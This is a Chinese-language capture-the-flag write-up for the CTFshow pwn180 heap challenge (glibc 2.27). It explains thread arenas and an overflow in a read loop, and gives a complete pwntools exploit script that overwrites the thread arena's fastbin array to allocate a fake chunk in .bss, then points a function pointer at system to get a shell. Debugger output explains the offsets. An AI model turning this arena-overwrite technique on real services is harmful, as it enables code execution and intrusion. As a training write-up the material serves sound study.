CTFshow-pwn180

[!NOTE]

你对arena了解多少?

  • 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

没有开启 PIE

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn180
[*] '/home/niuyingying/ctf/pwn/pwn180'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)

在 ida 中查看程序大致流程

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+28h] [rbp-118h] BYREF
  char s[264]; // [rsp+30h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+138h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  memset(s, 0, 0x100u);
  sub_400B7B();
  puts("Enter secret password: ");
  if ( !fgets(s, 256, stdin) )
    _exit(1);
  sleep(3u);
  if ( strcmp(s, "WTF Arena has a secret!\n") )
  {
    puts("Access denied");
    _exit(1);
  }
  if ( pthread_create(&newthread, 0, (void *(*)(void *))start_routine, 0) < 0 )
  {
    puts("Internal error, contact admin.");
    _exit(1);
  }
  pthread_join(newthread, 0);
  return 0;
}
__int64 __fastcall start_routine(void *a1)
{
  signed int i; // [rsp+14h] [rbp-1Ch]
  int v3; // [rsp+18h] [rbp-18h]
  signed int v4; // [rsp+1Ch] [rbp-14h]
  unsigned int v5; // [rsp+20h] [rbp-10h]
  void *v6; // [rsp+28h] [rbp-8h]

  write(1, "******************************************\n", 0x2Bu);
  write(1, "* Welcome to CTFshow's /dev/null service *\n", 0x2Bu);
  write(1, "******************************************\n", 0x2Bu);
  write(1, "1. use /dev/null service\n", 0x19u);
  write(1, "2. exit\n", 8u);
  qword_602038 = (__int64 (__fastcall *)(_QWORD, _QWORD))sub_400A29;// write(1, "data neutralized\n", 0x11u);
  while ( 1 )
  {
    while ( 1 )
    {
      write(1, "Action: ", 8u);
      v3 = sub_400A52();
      if ( v3 != 1 )
        break;
      write(1, "Size: ", 6u);
      v4 = sub_400A52();
      if ( (unsigned int)v4 <= 0x4000 )
      {
        write(1, "Pad blocks: ", 0xCu);
        v5 = sub_400A52();
        if ( v5 <= 0x3E8 )
        {
          for ( i = 0; i < (int)v5; ++i )
            malloc(v4);
          v6 = malloc(v4);
          write(1, "Content? (0/1): ", 0x10u);
          if ( (unsigned int)sub_400A52() )
          {
            write(1, "Input: ", 7u);
            sub_400AFA(v6, v4);
            qword_602038(v6, v4);
          }
        }
        else
        {
          write(1, "Invalid padblock count.\n", 0x18u);
        }
      }
      else
      {
        write(1, "Invalid size.\n", 0xEu);
      }
    }
    if ( v3 == 2 )
      break;
    if ( v3 == 1337 )
      system("/usr/bin/id");
    else
      write(1, "Invalid command.\n", 0x11u);
  }
  return sub_400A07(0);
}
size_t __fastcall sub_400AFA(__int64 a1, size_t a2)
{
  size_t result; // rax
  int v3; // [rsp+1Ch] [rbp-14h]
  size_t i; // [rsp+20h] [rbp-10h]

  for ( i = 0; ; i += v3 )
  {
    result = i;
    if ( i >= a2 )
      break;
    v3 = read(0, (void *)(a1 + i), a2);
    if ( v3 <= 0 )
    {
      write(1, "I/O error\n", 0xAu);
      sub_400A07(1);
    }
  }
  return result;
}

发现漏洞函数 sub_400AFA ,每轮都执行 v3 = read(0, (void *)(ptr + i), size) ,正确写法本应是 size - already_read ,因此可以造成大量堆溢出

这里我们来补充一个知识点: Arena
glibc malloc 不是只有“一个堆”。为了多线程性能,glibc 会给线程分配自己的 allocator 状态,叫 arena。arena 里保存:

struct malloc_state {
    mutex;
    flags;
    have_fastchunks;
    fastbinsY[10];
    top;
    last_remainder;
    bins[...];
    binmap[...];
    next;
    next_free;
    system_mem;
    ...
};

主线程一般用 main_arena,它在 libc 的数据段里。新线程第一次 malloc 时,glibc 会为它创建 thread arena ,通常通过 mmap 管理。arena 负责记录这个线程的 fastbin、smallbin、large bin、top chunk 等状态

这题 hint 是 Arena,核心就是直接通过溢出改线程 arena 里的 fastbinsY 数组

题外话,这样 patchelf

niuyingying@niuyingying:~/ctf/pwn$ patchelf \
  --set-interpreter /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 \
  --set-rpath /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 \
  ./pwn180
niuyingying@niuyingying:~/ctf/pwn$ ldd ./pwn180
        linux-vdso.so.1 (0x00007ffc57bf5000)
        libpthread.so.0 => /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread.so.0 (0x00007d2d3d800000)
        /home/niuyingying/ctf/pwn/libc-2.27.so (0x00007d2d3d400000)
        /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007d2d3dbfe000)

这道题的利用思路大致是脚本先大量申请 0x4000 chunk 耗尽线程 heap,让新的 heap 布局能溢出到 thread arena ,随后利用分段读覆盖 arena 的 fastbin ,把 0x70 fastbin 指向 .bss 附近的 fake chunk 0x60201d ,下一次申请 0x60 会返回伪造 chunk ,payload 前面放 /bin/sh ,偏移 0x602038 - (0x60201d + 0x10) 处覆盖 qword_602038system@plt

用官方 wp 的话讲,就是溢出尺⼨⽐较⼤,如果能够覆盖到线程 arena ,那么就能将 fake_chunk 链接到 fastbin ,进⽽分配过去。但是 arena 是先 mmap 出来的, heap 是过后才分配出来,因此,线程 heap 的地址⽐ arena 的地址 要⾼。为了能够让 heap 地址处在 arena 前⽅,我们得先耗尽当前的 heap 空间,这样系统就可以重新 mmap ⼀块新内存,就可能会出现在 arena 前⽅。最后再溢出,覆盖 arena ,修改 fastbin ,将 fake_chunk 链接上去

攻击脚本如下

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn180')

# io = process('./pwn180')
io = remote("pwn.challenge.ctf.show",28217)

# io = gdb.debug('./pwn180', gdbscript='set pagination off\nb *0x400D8D\nb *0x400B3F\nb *0x400DFB\nc')

def Create_0(size,num):
    io.recvuntil(b"Action: ")
    io.sendline(b"1")
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Pad blocks: ")
    io.sendline(str(num).encode())
    io.recvuntil(b"Content? (0/1): ")
    io.sendline(b"0")

def Create_1(size,num,text):
    io.recvuntil(b"Action: ")
    io.sendline(b"1")
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Pad blocks: ")
    io.sendline(str(num).encode())
    io.recvuntil(b"Content? (0/1): ")
    io.sendline(b"1")
    io.recvuntil(b"Input: ")
    io.send(text)

io.recvuntil(b"Enter secret password: \n")
io.send(b"WTF Arena has a secret!\n")

# 耗尽当前线程 heap,让 glibc mmap 新 heap
for i in range(12):
    Create_0(0x4000, 1000)

Create_1(0x4000, 262, b"\x00" * 0x3FF0)
sleep(1)

fake_chunk = 0x60201d
payload = b"\x00" * 0x50 + p32(0) + p32(3) + p32(0) + p32(0) + 6 * p64(fake_chunk)
sleep(1)
io.send(payload)

payload = b"/bin/sh\x00".ljust(0x602038 - (0x60201d + 0x10),b"\x00") + p64(elf.plt["system"])
payload = payload.ljust(0x60,b"\x00")
Create_1(0x60,0,payload)

io.interactive()

偏移不是很好理解, debug 看一下

先讲第一句 Create_1(0x4000, 262, b"\x00" * 0x3FF0)262 是在前面已经大量耗尽 thread heap 后,用来调整目标 chunk 和 arena 的相对距离,让真正接收 content 的 chunk 落在 arena 前面一个合适位置,最终满足了第二次 read 靠近 arena ,即 chunk + 0x3ff0 + 0x50 = arena

  ► 2   "pwn180" stopped: 0x400b3f
    1   "pwn180" stopped: 0x763d27e08d2d <__pthread_timedjoin_ex+381>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x3fc000           0x3fd000 rw-p     1000       0 pwn180
          0x3fe000           0x3ff000 rw-p     1000    2000 pwn180
          0x400000           0x402000 r-xp     2000    4000 pwn180
          0x601000           0x602000 r--p     1000    5000 pwn180
          0x602000           0x603000 rw-p     1000    6000 pwn180
        0x2f9b3000         0x2f9d4000 rw-p    21000       0 [heap]
    0x763d18000000     0x763d20000000 rw-p  8000000       0 [anon_763d18000]
    0x763d20000000     0x763d23ffd000 rw-p  3ffd000       0 [anon_763d20000]
    0x763d23ffd000     0x763d24000000 ---p     3000       0 [anon_763d23ffd]
    0x763d271ff000     0x763d27200000 ---p     1000       0 [anon_763d271ff]
    0x763d27200000     0x763d27a00000 rw-p   800000       0 [anon_763d27200]
    0x763d27a00000     0x763d27be7000 r-xp   1e7000       0 libc-2.27.so
    0x763d27be7000     0x763d27de7000 ---p   200000  1e7000 libc-2.27.so
    0x763d27de7000     0x763d27deb000 r--p     4000  1e7000 libc-2.27.so
    0x763d27deb000     0x763d27ded000 rw-p     2000  1eb000 libc-2.27.so
    0x763d27ded000     0x763d27df1000 rw-p     4000       0 [anon_763d27ded]
    0x763d27e00000     0x763d27e1a000 r-xp    1a000       0 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
    0x763d27e1a000     0x763d28019000 ---p   1ff000   1a000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
    0x763d28019000     0x763d2801a000 r--p     1000   19000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
    0x763d2801a000     0x763d2801b000 rw-p     1000   1a000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libpthread-2.27.so
    0x763d2801b000     0x763d2801f000 rw-p     4000       0 [anon_763d2801b]
    0x763d28200000     0x763d28227000 r-xp    27000       0 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so
    0x763d28427000     0x763d28428000 r--p     1000   27000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so
    0x763d28428000     0x763d28429000 rw-p     1000   28000 glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so
    0x763d28429000     0x763d2842a000 rw-p     1000       0 [anon_763d28429]
    0x763d284c5000     0x763d284ca000 rw-p     5000       0 [anon_763d284c5]
    0x7ffdd7cac000     0x7ffdd7cce000 rw-p    22000       0 [stack]
    0x7ffdd7ce2000     0x7ffdd7ce6000 r--p     4000       0 [vvar]
    0x7ffdd7ce6000     0x7ffdd7ce8000 r-xp     2000       0 [vdso]
pwndbg> arenas
    arena type    arena address    heap address       map start         map end    perm     size    offset              file
--------------  ---------------  --------------  --------------  --------------  ------  -------  --------  ----------------
    main_arena   0x763d27debc40      0x2f9b3000      0x2f9b3000      0x2f9d4000    rw-p    21000         0            [heap]
non-main arena   0x763d20000020  0x763d200008c0  0x763d20000000  0x763d23ffd000    rw-p  3ffd000         0  [anon_763d20000]
                              ↳  0x763d18000020  0x763d18000000  0x763d20000000    rw-p  8000000         0  [anon_763d18000]
                              ↳  0x763d18000020  0x763d18000000  0x763d20000000    rw-p  8000000         0  [anon_763d18000]
pwndbg> arena
Arena for thread 2 is located at: 0x763d20000020
{
  mutex = 0,
  flags = 2,
  have_fastchunks = 0,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x763d1fffffe0,
  last_remainder = 0x0,
  bins = {0x763d20000080, 0x763d20000080, 0x763d20000090, 0x763d20000090, 0x763d200000a0, 0x763d200000a0, 0x763d200000b0, 0x763d200000b0, 0x763d200000c0, 0x763d200000c0, 0x763d200000d0, 0x763d200000d0, 0x763d200000e0, 0x763d200000e0, 0x763d200000f0, 0x763d200000f0, 0x763d20000100, 0x763d20000100, 0x763d20000110, 0x763d20000110, 0x763d20000120, 0x763d20000120, 0x763d20000130, 0x763d20000130, 0x763d20000140, 0x763d20000140, 0x763d20000150, 0x763d20000150, 0x763d20000160, 0x763d20000160, 0x763d20000170, 0x763d20000170, 0x763d20000180, 0x763d20000180, 0x763d20000190, 0x763d20000190, 0x763d200001a0, 0x763d200001a0, 0x763d200001b0, 0x763d200001b0, 0x763d200001c0, 0x763d200001c0, 0x763d200001d0, 0x763d200001d0, 0x763d200001e0, 0x763d200001e0, 0x763d200001f0, 0x763d200001f0, 0x763d20000200, 0x763d20000200, 0x763d20000210, 0x763d20000210, 0x763d20000220, 0x763d20000220, 0x763d20000230, 0x763d20000230, 0x763d20000240, 0x763d20000240, 0x763d20000250, 0x763d20000250, 0x763d20000260, 0x763d20000260, 0x763d20000270, 0x763d20000270, 0x763d20000280, 0x763d20000280, 0x763d20000290, 0x763d20000290, 0x763d200002a0, 0x763d200002a0, 0x763d200002b0, 0x763d200002b0, 0x763d200002c0, 0x763d200002c0, 0x763d200002d0, 0x763d200002d0, 0x763d200002e0, 0x763d200002e0, 0x763d200002f0, 0x763d200002f0, 0x763d20000300, 0x763d20000300, 0x763d20000310, 0x763d20000310, 0x763d20000320, 0x763d20000320, 0x763d20000330, 0x763d20000330, 0x763d20000340, 0x763d20000340, 0x763d20000350, 0x763d20000350, 0x763d20000360, 0x763d20000360, 0x763d20000370, 0x763d20000370, 0x763d20000380, 0x763d20000380, 0x763d20000390, 0x763d20000390, 0x763d200003a0, 0x763d200003a0, 0x763d200003b0, 0x763d200003b0, 0x763d200003c0, 0x763d200003c0, 0x763d200003d0, 0x763d200003d0, 0x763d200003e0, 0x763d200003e0, 0x763d200003f0, 0x763d200003f0, 0x763d20000400, 0x763d20000400, 0x763d20000410, 0x763d20000410, 0x763d20000420, 0x763d20000420, 0x763d20000430, 0x763d20000430, 0x763d20000440, 0x763d20000440, 0x763d20000450, 0x763d20000450, 0x763d20000460, 0x763d20000460, 0x763d20000470, 0x763d20000470, 0x763d20000480, 0x763d20000480, 0x763d20000490, 0x763d20000490, 0x763d200004a0, 0x763d200004a0, 0x763d23ffcac0, 0x763d23ffcac0, 0x763d200004c0, 0x763d200004c0, 0x763d200004d0, 0x763d200004d0, 0x763d200004e0, 0x763d200004e0, 0x763d200004f0, 0x763d200004f0, 0x763d20000500, 0x763d20000500, 0x763d20000510, 0x763d20000510, 0x763d20000520, 0x763d20000520, 0x763d20000530, 0x763d20000530, 0x763d20000540, 0x763d20000540, 0x763d20000550, 0x763d20000550, 0x763d20000560, 0x763d20000560, 0x763d20000570, 0x763d20000570, 0x763d20000580, 0x763d20000580, 0x763d20000590, 0x763d20000590, 0x763d200005a0, 0x763d200005a0, 0x763d200005b0, 0x763d200005b0, 0x763d200005c0, 0x763d200005c0, 0x763d200005d0, 0x763d200005d0, 0x763d200005e0, 0x763d200005e0, 0x763d200005f0, 0x763d200005f0, 0x763d20000600, 0x763d20000600, 0x763d20000610, 0x763d20000610, 0x763d20000620, 0x763d20000620, 0x763d20000630, 0x763d20000630, 0x763d20000640, 0x763d20000640, 0x763d20000650, 0x763d20000650, 0x763d20000660, 0x763d20000660, 0x763d20000670, 0x763d20000670, 0x763d20000680, 0x763d20000680, 0x763d20000690, 0x763d20000690, 0x763d200006a0, 0x763d200006a0, 0x763d200006b0, 0x763d200006b0...},
  binmap = {0, 0, 16, 0},
  next = 0x763d27debc40,
  next_free = 0x0,
  attached_threads = 1,
  system_mem = 201314304,
  max_system_mem = 201314304,
}

可以看到,此时 top = 0x763d1fffffe0 ,所以它已经在第一段 heap 的尾巴上了,此时 0x763d20000020 - 0x763d1fffffe0 = 0x40 ,向最后一个 chunk 写入 0x3ff0 + 0x10 + 0x40 到达 arena

再看下一句, payload = b"\x00" * 0x50 + p32(0) + p32(3) + p32(0) + p32(0) + 6 * p64(fake_chunk) ,前面的 0x50 即为 0x10 + 0x40

glibc 2.27 的 non-main arena 开头大概是:

arena + 0x00: mutex
arena + 0x04: flags
arena + 0x08: have_fastchunks
arena + 0x0c: padding
arena + 0x10: fastbinsY[0]
arena + 0x18: fastbinsY[1]
arena + 0x20: fastbinsY[2]
arena + 0x28: fastbinsY[3]
arena + 0x30: fastbinsY[4]
arena + 0x38: fastbinsY[5]   <-- malloc(0x60) 用这个
arena + 0x40: fastbinsY[6]
...

那么 p32(0) 就会写 arena + 0x00: mutex = 0 ,再然后 p32(3)arena + 0x04: flags = 3 ,其中这个 3 是一种“保守恢复 arena flags”的写法,避免把 flags 清零造成后续 malloc 走到不想要的 consolidate 或连续性判断路径,接下来补齐偏移,后面的 p64(fake_chunk) 就会从 arena + 0x10 开始,也就是 fastbinsY 数组开头,我们将 arena->fastbinsY[0..5] 全改成 0x60201d ,debug 看一下 0x60201d 这个地址是怎么来的

pwndbg> x/-40gx 0x602038
0x601ef8:       0x5a5a5a5a5a5a5a5a      0x5a5a5a5a5a5a5a5a
0x601f08:       0x5a5a5a5a5a5a5a5a      0x5a5a5a5a5a5a5a5a
0x601f18:       0x5a5a5a5a5a5a5a5a      0x5a5a5a5a5a5a5a5a
0x601f28:       0x5a5a5a5a5a5a5a5a      0x5a5a5a5a5a5a5a5a
0x601f38:       0x5a5a5a5a5a5a5a5a      0x5a5a5a5a5a5a5a5a
0x601f48:       0x5a5a5a5a5a5a5a5a      0x5a5a5a5a5a5a5a5a
0x601f58:       0x0000000000601d58      0x0000000000000000
0x601f68:       0x0000000000000000      0x0000763d27e079b0
0x601f78 <_exit@got.plt>:       0x0000763d27ae4dd0      0x0000763d27a809c0
0x601f88 <write@got.plt>:       0x0000763d27e11270      0x0000763d27b34c80
0x601f98 <system@got.plt>:      0x0000763d27e12770      0x0000763d27b93470
0x601fa8 <read@got.plt>:        0x0000763d27e11340      0x0000763d27a7eb20
0x601fb8 <strcmp@got.plt>:      0x0000763d27b69d60      0x0000763d27b1b820
0x601fc8 <malloc@got.plt>:      0x0000763d27a97070      0x0000763d27a812f0
0x601fd8 <pthread_join@got.plt>:        0x0000763d27e08b50      0x0000763d27a40680
0x601fe8 <sleep@got.plt>:       0x0000763d27ae4870      0x0000763d27a21ab0
0x601ff8:       0x0000000000000000      0x0000000000000000
0x602008:       0x0000000000000000      0x0000763d27dec760
0x602018:       0x0000000000000000      0x0000763d27deba00
0x602028:       0x0000000000000000      0x0000000000000000
pwndbg> x/40gx 0x602018 + 13 - 8
0x60201d:       0x3d27deba00000000      0x0000000000000076
0x60202d:       0x0000000000000000      0x0000400a29000000
0x60203d:       0x0000000000000000      0x0000000000000000
0x60204d:       0x0000000000000000      0x0000000000000000
0x60205d:       0x0000000000000000      0x0000000000000000
0x60206d:       0x0000000000000000      0x0000000000000000
0x60207d:       0x0000000000000000      0x0000000000000000
0x60208d:       0x0000000000000000      0x0000000000000000
0x60209d:       0x0000000000000000      0x0000000000000000
0x6020ad:       0x0000000000000000      0x0000000000000000
0x6020bd:       0x0000000000000000      0x0000000000000000
0x6020cd:       0x0000000000000000      0x0000000000000000
0x6020dd:       0x0000000000000000      0x0000000000000000
0x6020ed:       0x0000000000000000      0x0000000000000000
0x6020fd:       0x0000000000000000      0x0000000000000000
0x60210d:       0x0000000000000000      0x0000000000000000
0x60211d:       0x0000000000000000      0x0000000000000000
0x60212d:       0x0000000000000000      0x0000000000000000
0x60213d:       0x0000000000000000      0x0000000000000000
0x60214d:       0x0000000000000000      0x0000000000000000

所以 0x60201d 同时满足两件事:

  1. malloc 返回 0x60202d ,方便覆盖 0x602038
  2. fake chunk 的 size 字段能借用 libc 指针高字节,通过 fastbin size 检查

最后下一次 malloc(0x60) 返回 0x60202d ,从 0x60202d 写 payload,覆盖 0x602038 的函数指针从而 get shell

好啦~ ctfshow 堆利用部分刷完了,完结撒花~

posted @ 2026-08-10 16:35  AurY1n  阅读(2)  评论(0)    收藏  举报